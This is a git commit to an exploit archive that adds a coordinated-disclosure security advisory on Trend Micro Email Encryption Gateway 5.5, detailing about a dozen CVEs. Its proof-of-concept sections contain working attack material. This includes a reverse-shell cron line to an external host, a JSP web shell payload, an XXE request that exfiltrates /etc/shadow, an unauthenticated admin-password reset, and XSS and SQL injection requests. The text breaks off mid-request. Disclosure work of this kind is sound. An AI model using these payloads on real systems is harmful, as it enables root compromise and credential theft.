DB: 2018-02-23
15 changes to exploits/shellcodes NoMachine x86 < 6.0.80 - 'nxfuse' Privilege Escalation NoMachine x64 < 6.0.80 - 'nxfuse' Privilege Escalation Armadito Antivirus 0.12.7.2 - Detection Bypass Joomla! Component CW Tags 2.0.6 - SQL Injection Joomla! Component Proclaim 9.1.1 - Backup File Download Joomla! Component PrayerCenter 3.0.2 - 'sessionid' SQL Injection Joomla! Component Ek Rishta 2.9 - SQL Injection Joomla! Component Alexandria Book Library 3.1.2 - 'letter' SQL Injection Joomla! Component CheckList 1.1.1 - SQL Injection Joomla! Component Proclaim 9.1.1 - Arbitrary File Upload Joomla! Component OS Property Real Estate 3.12.7 - SQL Injection Trend Micro Email Encryption Gateway 5.5 (Build 1111.00) - Multiple Vulnerabilities Learning and Examination Management System - Cross-Site Scripting Alibaba Clone Script 1.0.2 - Cross-Site Scripting Groupon Clone Script 3.0.2 - Cross-Site Scripting
This commit is contained in:
parent
a4f01ec6e4
commit
7a33f5d0bf
16 changed files with 1976 additions and 0 deletions
863
exploits/jsp/webapps/44166.txt
Normal file
863
exploits/jsp/webapps/44166.txt
Normal file
|
@ -0,0 +1,863 @@
|
|||
Core Security - Corelabs Advisory
|
||||
http://corelabs.coresecurity.com/
|
||||
|
||||
Trend Micro Email Encryption Gateway Multiple Vulnerabilities
|
||||
|
||||
1. *Advisory Information*
|
||||
|
||||
Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities
|
||||
Advisory ID: CORE-2017-0006
|
||||
Advisory URL:
|
||||
http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities
|
||||
Date published: 2018-02-21
|
||||
Date of last update: 2018-02-21
|
||||
Vendors contacted: Trend Micro
|
||||
Release mode: Coordinated release
|
||||
|
||||
2. *Vulnerability Information*
|
||||
|
||||
Class: Cleartext Transmission of Sensitive Information [CWE-319],
|
||||
External Control of File Name or Path [CWE-73], Insufficient
|
||||
Verification of Data Authenticity [CWE-345], External Control of File
|
||||
Name or Path [CWE-73], Missing Authentication for Critical Function
|
||||
[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of
|
||||
XML External Entity Reference [CWE-611], Improper Neutralization of
|
||||
Input During Web Page Generation ('Cross-site Scripting') [CWE-79],
|
||||
Improper Neutralization of Input During Web Page Generation ('Cross-site
|
||||
Scripting') [CWE-79], Improper Neutralization of Input During Web Page
|
||||
Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of
|
||||
Special Elements used in an SQL Command [CWE-89], Improper
|
||||
Neutralization of Special Elements used in an SQL Command [CWE-89],
|
||||
Improper Neutralization of Special Elements used in an SQL Command
|
||||
[CWE-89]
|
||||
Impact: Code execution
|
||||
Remotely Exploitable: Yes
|
||||
Locally Exploitable: Yes
|
||||
CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222,
|
||||
CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226,
|
||||
CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230
|
||||
|
||||
3. *Vulnerability Description*
|
||||
|
||||
Trend Micro's website states that:[1]
|
||||
|
||||
Encryption for Email Gateway is a Linux-based software solution providing
|
||||
the ability to perform the encryption and decryption of email at the
|
||||
corporate gateway, regardless of the email client, and the platform from
|
||||
which it originated. The encryption and decryption of email on the TMEEG
|
||||
client is controlled by a Policy Manager that enables an administrator
|
||||
to configure policies based on various parameters, such as sender and
|
||||
recipient email addresses, keywords, or PCI compliance. Encryption for
|
||||
Email Gateway presents itself as an SMTP interface and delivers email
|
||||
out over an SMTP to configured outbound MTAs. This enables easy
|
||||
integration with other email server-based products, be them content
|
||||
scanners, mail servers, or archiving solutions."
|
||||
|
||||
Multiple vulnerabilities were found in the Trend Micro Email Encryption
|
||||
Gateway web console that would allow a remote unauthenticated attacker
|
||||
to gain command execution as root.
|
||||
|
||||
We also present two additional vectors to achieve code execution from a
|
||||
man-in-the-middle position.
|
||||
|
||||
4. *Vulnerable Packages*
|
||||
|
||||
. Trend Micro Email Encryption Gateway 5.5 (Build 1111.00)
|
||||
Other products and versions might be affected, but they were not tested.
|
||||
|
||||
5. *Vendor Information, Solutions and Workarounds*
|
||||
|
||||
Trend Micro published the following Security Notes:
|
||||
|
||||
.
|
||||
https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities
|
||||
|
||||
6. *Credits*
|
||||
|
||||
These vulnerabilities were discovered and researched by Leandro Barragan
|
||||
and Maximiliano Vidal from Core Security Consulting Services. The
|
||||
publication of this advisory was coordinated by Alberto Solino from Core
|
||||
Advisories Team.
|
||||
|
||||
7. *Technical Description / Proof of Concept Code*
|
||||
|
||||
Trend Micro Email Encryption Gateway includes a web console to perform
|
||||
administrative tasks. Section 7.4 describes a vulnerability in this
|
||||
console that can be exploited to gain command execution as root. The
|
||||
vulnerable functionality is accessible only to authenticated users, but
|
||||
it is possible to combine 7.4 with the vulnerability presented in
|
||||
section 7.5 to bypass this restriction and therefore execute root
|
||||
commands from the perspective of a remote unauthenticated attacker.
|
||||
|
||||
The application does also use an insecure update mechanism that allows
|
||||
an attacker in a man-in-the-middle position to write arbitrary files and
|
||||
install arbitrary RPM packages, leading to remote command execution as
|
||||
the root user.
|
||||
|
||||
Additional Web application vulnerabilities were found, including
|
||||
cross-site request forgery (7.6), XML external entity injection (7.7),
|
||||
several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL
|
||||
injection vulnerabilities (7.11, 7.12, 7.13).
|
||||
|
||||
7.1. *Insecure update via HTTP*
|
||||
|
||||
[CVE-2018-6219]
|
||||
Communication to the update servers is unencrypted. The following URL is
|
||||
fetched when the application checks for updates:
|
||||
|
||||
/-----
|
||||
[Request #1]
|
||||
http://downloads.privatepost.com/files/TMEEG/updates/data.html
|
||||
-----/
|
||||
|
||||
The product expects to retrieve a plain-text file with the following
|
||||
format:
|
||||
|
||||
/-----
|
||||
[Version Info]
|
||||
[Installation RPM file name]
|
||||
[Path to release notes]
|
||||
-----/
|
||||
|
||||
If a new update is found, then the RPM file is downloaded from the
|
||||
following URL:
|
||||
|
||||
/-----
|
||||
[Request #2]
|
||||
http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM
|
||||
file name]
|
||||
-----/
|
||||
|
||||
This means that the product does not do any kind of certificate
|
||||
validation or public key pinning, which makes it easier for an attacker
|
||||
to eavesdrop and tamper the data.
|
||||
|
||||
7.2. *Arbitrary file write leading to command execution*
|
||||
|
||||
[CVE-2018-6220]
|
||||
The following code snippet is responsible for downloading the update
|
||||
file (com/identum/pmg/web/CheckForUpdates.java):
|
||||
|
||||
/-----
|
||||
FileDownload fd = new FileDownload();
|
||||
if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" +
|
||||
rpmFileName)) {
|
||||
return 10;
|
||||
}
|
||||
[...]
|
||||
-----/
|
||||
|
||||
The rpmFileName variable is controlled by the attacker, as it is taken
|
||||
from the aforementioned update file. As a consequence, the attacker
|
||||
controls the path where the update file is going to be downloaded. The
|
||||
RPM file is written by the root user with 0644 permissions. Being able
|
||||
to write to the file system as root opens the door to several code
|
||||
execution vectors on Linux machines.
|
||||
|
||||
In this PoC we present one vector which consist on creating a cron job
|
||||
on /etc/cron.d directory.
|
||||
|
||||
The attacker can send the following response to [Request #1]:
|
||||
|
||||
/-----
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
Server: Microsoft-IIS/7.5
|
||||
X-Powered-By: ASP.NET
|
||||
Date: Tue, 23 May 2017 14:39:46 GMT
|
||||
Connection: close
|
||||
Content-Length: 26
|
||||
|
||||
5.7
|
||||
../../../../../../../etc/cron.d/test
|
||||
test.html
|
||||
-----/
|
||||
|
||||
As a result, the server will create the file /etc/cron.d/test. Its
|
||||
contents are also controlled by the attacker. When the update launches,
|
||||
the appliance will download it from the following URL:
|
||||
|
||||
/-----
|
||||
http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test
|
||||
-----/
|
||||
|
||||
The attacker can tamper the server's response and inject arbitrary data,
|
||||
such as a reverse shell payload:
|
||||
|
||||
/-----
|
||||
* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1
|
||||
-----/
|
||||
|
||||
gaining code execution upon exploitation:
|
||||
|
||||
/-----
|
||||
$ sudo nc -lvvp 1080
|
||||
Listening on [0.0.0.0] (family 0, port 1080)
|
||||
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
|
||||
52171)
|
||||
bash: no job control in this shell
|
||||
[root@ localhost ~]# id
|
||||
uid=0(root) gid=0(root)
|
||||
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
|
||||
context=user_u:system_r:unconfined_t
|
||||
-----/
|
||||
|
||||
7.3. *Unvalidated software updates*
|
||||
|
||||
[CVE-2018-6221]
|
||||
The update mechanism described in 7.2 does not validate the RPM file
|
||||
downloaded.
|
||||
|
||||
An attacker in a man-in-the-middle position could tamper with the RPM
|
||||
file and inject its own.
|
||||
|
||||
The following code snippet is responsible for installing the unvalidated
|
||||
RPM (com/identum/pmg/web/CheckForUpdates.java):
|
||||
|
||||
/-----
|
||||
try
|
||||
{
|
||||
System.out.println("running file:");
|
||||
System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName);
|
||||
|
||||
Process process = Runtime.getRuntime().exec("rpm --upgrade
|
||||
--nodeps /tmp/" + rpmFileName);
|
||||
[..]
|
||||
{
|
||||
-----/
|
||||
|
||||
In the following Proof of Concept, we crafted a malicious RPM file that
|
||||
executes a reverse shell once opened. This can be achieved by adding a
|
||||
reverse shell script to %pre section of RPM's SPEC file, which is
|
||||
executed previous to any installation step. As can be seen, this results
|
||||
in code execution as root:
|
||||
|
||||
/-----
|
||||
$ sudo nc -lvvp 1080
|
||||
Listening on [0.0.0.0] (family 0, port 1080)
|
||||
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
|
||||
40445)
|
||||
bash: no job control in this shell
|
||||
[root@ localhost /]# id
|
||||
uid=0(root) gid=0(root)
|
||||
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
|
||||
context=root:system_r:rpm_script_t:SystemLow-SystemHigh
|
||||
-----/
|
||||
|
||||
7.4. *Arbitrary logs location leading to command execution*
|
||||
|
||||
[CVE-2018-6222]
|
||||
The location of the log files can be changed in the logConfiguration.do
|
||||
page. MimeBuildServer logs are particularly interesting because its
|
||||
contents can be controlled by an attacker.
|
||||
|
||||
The first step is to point the log file to the Web application root. The
|
||||
following request redirects MimeBuildServer logs to
|
||||
/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs:
|
||||
|
||||
/-----
|
||||
POST /logConfiguration.jsp HTTP/1.1
|
||||
Host: [server]
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
|
||||
Gecko/20100101 Firefox/53.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Referer: https://[server]/logConfiguration.do
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 798
|
||||
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback
|
||||
-----/
|
||||
|
||||
The second step is to update the MimeBuilder configuration and insert
|
||||
arbitrary JSP code. One candidate is the "Encrypted meeting request
|
||||
email message" form.
|
||||
|
||||
/-----
|
||||
POST /mimebuilderconfig.jsp HTTP/1.1
|
||||
Host: [server]
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
|
||||
Gecko/20100101 Firefox/53.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Referer: https://[server]/MimeBuilderConfig.do
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 2915
|
||||
Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback
|
||||
-----/
|
||||
|
||||
The next time the service components are restarted, the log file will be
|
||||
created with the desired JSP code.
|
||||
|
||||
With the sample JSP code from the previous request, the attacker would
|
||||
then navigate to pepito.jsp and execute arbitrary commands as root:
|
||||
|
||||
/-----
|
||||
https://[server]/pepito.jsp?cmd=id
|
||||
|
||||
Command: id
|
||||
|
||||
uid=0(root) gid=0(root) context=system_u:system_r:java_t
|
||||
-----/
|
||||
|
||||
7.5. *Missing authentication for appliance registration*
|
||||
|
||||
[CVE-2018-6223]
|
||||
The registration endpoint is provided for system administrators to
|
||||
configure the virtual appliance upon deployment. However, this endpoint
|
||||
remains accessible without authentication even after the appliance is
|
||||
configured, which would allow attackers to set configuration parameters
|
||||
such as the administrator username and password.
|
||||
|
||||
The following request changes the administrator password to "sombrero":
|
||||
|
||||
/-----
|
||||
POST /register.jsp HTTP/1.1
|
||||
Host: [server]
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 414
|
||||
|
||||
action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero
|
||||
-----/
|
||||
|
||||
Note that a valid activation code is required. This code can be easily
|
||||
obtained by requesting a trial from Trend Micro's website.
|
||||
|
||||
7.6. *Lack of cross-site request forgery protection*
|
||||
|
||||
[CVE-2018-6224]
|
||||
There are no Anti-CSRF tokens in any forms on the Web interface. This
|
||||
would allow an attacker to submit authenticated requests when an
|
||||
authenticated user browses an attacker-controlled domain.
|
||||
|
||||
This vulnerability can be chained with 7.4 and lead to remote command
|
||||
execution. It could also be abused to force updates once the attacker is
|
||||
in a man-in-the-middle position to exploit 7.2 or 7.3, which would also
|
||||
lead to remote command execution.
|
||||
|
||||
The following proof of concept starts the check for updates process.
|
||||
|
||||
/-----
|
||||
<html>
|
||||
<body>
|
||||
<script>history.pushState('', '', '/')</script>
|
||||
<form action="https://[server]/checkForUpdates.do">
|
||||
<input type="submit" value="Submit request" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
-----/
|
||||
|
||||
7.7. *XML external entity injection in configuration.jsp*
|
||||
|
||||
[CVE-2018-6225]
|
||||
The pciExceptionXml parameter of the configuration.jsp script is
|
||||
vulnerable to XML external entity injection.
|
||||
|
||||
The following proof of concept uses external entities to send the
|
||||
/etc/shadow file to an external server.
|
||||
|
||||
/-----
|
||||
POST /configuration.jsp HTTP/1.1
|
||||
Host: [server]
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
|
||||
Gecko/20100101 Firefox/53.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 938
|
||||
Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
|
||||
incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f>
|
||||
<!DOCTYPE+roottag+[
|
||||
+<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow">
|
||||
+<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd">
|
||||
%25dtd%3b]>
|
||||
<ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d"true"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions>
|
||||
-----/
|
||||
|
||||
The combine.dtd file is hosted on an external server, and its contents
|
||||
are:
|
||||
|
||||
/-----
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!ENTITY % all "<!ENTITY send SYSTEM
|
||||
'gopher://external_server:1080/?%file;'>">
|
||||
%all;
|
||||
|
||||
$ sudo nc -lvvp 1080
|
||||
Listening on [0.0.0.0] (family 0, port 1080)
|
||||
Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport
|
||||
49676)
|
||||
root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7:::
|
||||
bin:*:14089:0:99999:7:::
|
||||
daemon:*:14089:0:99999:7:::
|
||||
adm:*:14089:0:99999:7:::
|
||||
lp:*:14089:0:99999:7:::
|
||||
sync:*:14089:0:99999:7:::
|
||||
shutdown:*:14089:0:99999:7:::
|
||||
halt:*:14089:0:99999:7:::
|
||||
mail:*:14089:0:99999:7:::
|
||||
news:*:14089:0:99999:7:::
|
||||
uucp:*:14089:0:99999:7:::
|
||||
operator:*:14089:0:99999:7:::
|
||||
games:*:14089:0:99999:7:::
|
||||
gopher:*:14089:0:99999:7:::
|
||||
ftp:*:14089:0:99999:7:::
|
||||
nobody:*:14089:0:99999:7:::
|
||||
rpm:!!:14089:0:99999:7:::
|
||||
dbus:!!:14089:0:99999:7:::
|
||||
exim:!!:14089:0:99999:7:::
|
||||
nscd:!!:14089:0:99999:7:::
|
||||
vcsa:!!:14089:0:99999:7:::
|
||||
rpc:!!:14089:0:99999:7:::
|
||||
sshd:!!:14089:0:99999:7:::
|
||||
pcap:!!:14089:0:99999:7:::
|
||||
haldaemon:!!:14089:0:99999:7:::
|
||||
postgres:!!:14090::::::
|
||||
tomcat:!!:14090:0:99999:7:::
|
||||
xfs:!!:14179::::::
|
||||
postfix:!!:14194::::::
|
||||
-----/
|
||||
|
||||
These actions require the user to be authenticated within the Web
|
||||
console, so an attacker would need to obtain valid credentials first.
|
||||
Possible vectors to achieve this include exploiting any of the XSS
|
||||
issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF
|
||||
vulnerability described in 7.6.
|
||||
|
||||
7.8. *Reflected cross-site scripting in keymanserverconfig.jsp*
|
||||
|
||||
[CVE-2018-6226]
|
||||
The deniedKeysExpireTimeout and keyAge parameters of the
|
||||
keymanserverconfig.jsp script are vulnerable to cross-site scripting.
|
||||
|
||||
The following is a proof of concept to demonstrate the vulnerability:
|
||||
|
||||
/-----
|
||||
https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback
|
||||
-----/
|
||||
|
||||
7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp*
|
||||
|
||||
[CVE-2018-6226]
|
||||
The following parameters of the mimebuilderconfig.jsp script are
|
||||
vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader,
|
||||
meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate,
|
||||
zdMainTemplate, zdMainTemplateZdv4.
|
||||
|
||||
The following is a proof of concept to demonstrate the vulnerability:
|
||||
|
||||
/-----
|
||||
https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E
|
||||
-----/
|
||||
|
||||
7.10. *Stored cross-site scripting in editPolicy.jsp*
|
||||
|
||||
[CVE-2018-6227]
|
||||
The hidEmails parameter of the editPolicy.jsp script is vulnerable to
|
||||
cross-site scripting.
|
||||
|
||||
The following request adds a policy for the email address
|
||||
"<script>alert(1)</script>":
|
||||
|
||||
/-----
|
||||
POST /editPolicy.jsp HTTP/1.1
|
||||
Host: [server]
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
|
||||
Gecko/20100101 Firefox/53.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Referer: https://[server]/policies.jsp
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 136
|
||||
Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781
|
||||
DNT: 1
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1
|
||||
-----/
|
||||
|
||||
The input will be stored unescaped and rendered every time the policies.do
|
||||
script is executed.
|
||||
|
||||
Excerpt of the policies.do source showing the injected script tag:
|
||||
|
||||
/-----
|
||||
<tr>
|
||||
<td ondblclick="edit_policy(this);" style="border:solid 1px
|
||||
#AAAAAA;background-color:#F5F5F5;cursor:move;"
|
||||
onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);"
|
||||
onmouseout="mouse_out(this);"
|
||||
onmousemove="mouse_move(this, event);">Don't decrypt messages to
|
||||
<script>alert(1)</script>
|
||||
-----/
|
||||
|
||||
7.11. *SQL injection in policies.jsp*
|
||||
|
||||
[CVE-2018-6228]
|
||||
The hidEditId parameter of the policies.jsp script is not sanitized,
|
||||
leading to SQL injection.
|
||||
|
||||
As can be seen in the following excerpt, the script reads a parameter
|
||||
named hidEditId and forwards it to the editPolicy.jsp script if it is
|
||||
not set to -1.
|
||||
|
||||
From webapps/ROOT/policies.jsp:
|
||||
|
||||
/-----
|
||||
<% if (request.getParameter("hidEditId") != null)
|
||||
if (request.getParameter("hidEditId").compareTo("-1") != 0)
|
||||
{
|
||||
String hid_edit_id = request.getParameter("hidEditId");
|
||||
%><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId"
|
||||
value="<%= hid_edit_id %>"/></jsp:forward><%
|
||||
}
|
||||
[...]
|
||||
-----/
|
||||
|
||||
The editPolicy.jsp script will pass this parameter without any
|
||||
modification to the loadRuleDetails method, which is defined in the
|
||||
formEditPolicy class
|
||||
|
||||
From webapps/ROOT/editPolicy.jsp:
|
||||
|
||||
/-----
|
||||
if (request.getParameter("editRuleId") != null)
|
||||
frm.loadRuleDetails(request.getParameter("editRuleId"));
|
||||
[...]
|
||||
-----/
|
||||
|
||||
Finally, the loadRuleDetails method will use the unsanitized parameter
|
||||
it receives to build a dynamic SQL statement as follows:
|
||||
|
||||
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
|
||||
|
||||
/-----
|
||||
public boolean loadRuleDetails(String ruleId)
|
||||
{
|
||||
_databaseError = false;
|
||||
|
||||
|
||||
try
|
||||
{
|
||||
_ruleId = ruleId;
|
||||
_ruleResultId = dataStore.getRuleResultId(ruleId);
|
||||
_ruleForId = dataStore.getRuleForId(ruleId);
|
||||
_ruleEmails = dataStore.getRuleAddreses(ruleId);
|
||||
_ruleSubRules = dataStore.getSubRules(ruleId);
|
||||
[...]
|
||||
|
||||
public String getRuleResultId(String ruleId) throws SQLException
|
||||
{
|
||||
Connection cnn = MySQLClient.GetInstance().GetConnection();
|
||||
Statement query = cnn.createStatement();
|
||||
String ruleResultId = "";
|
||||
|
||||
ResultSet rs = null;
|
||||
|
||||
try
|
||||
{
|
||||
rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine
|
||||
WHERE Id = " + ruleId);
|
||||
[...]
|
||||
-----/
|
||||
|
||||
The contents of ruleId will be appended to the SELECT query, resulting
|
||||
in a SQL injection.
|
||||
|
||||
The following PoC opens a policy to edit, even though the hidEditId
|
||||
parameter is invalid. Due to the "always true" comparison, the first
|
||||
element is retrieved:
|
||||
|
||||
/-----
|
||||
POST /policies.jsp HTTP/1.1
|
||||
Host: server
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
|
||||
Gecko/20100101 Firefox/53.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 84
|
||||
Referer: https://server/editPolicy.jsp
|
||||
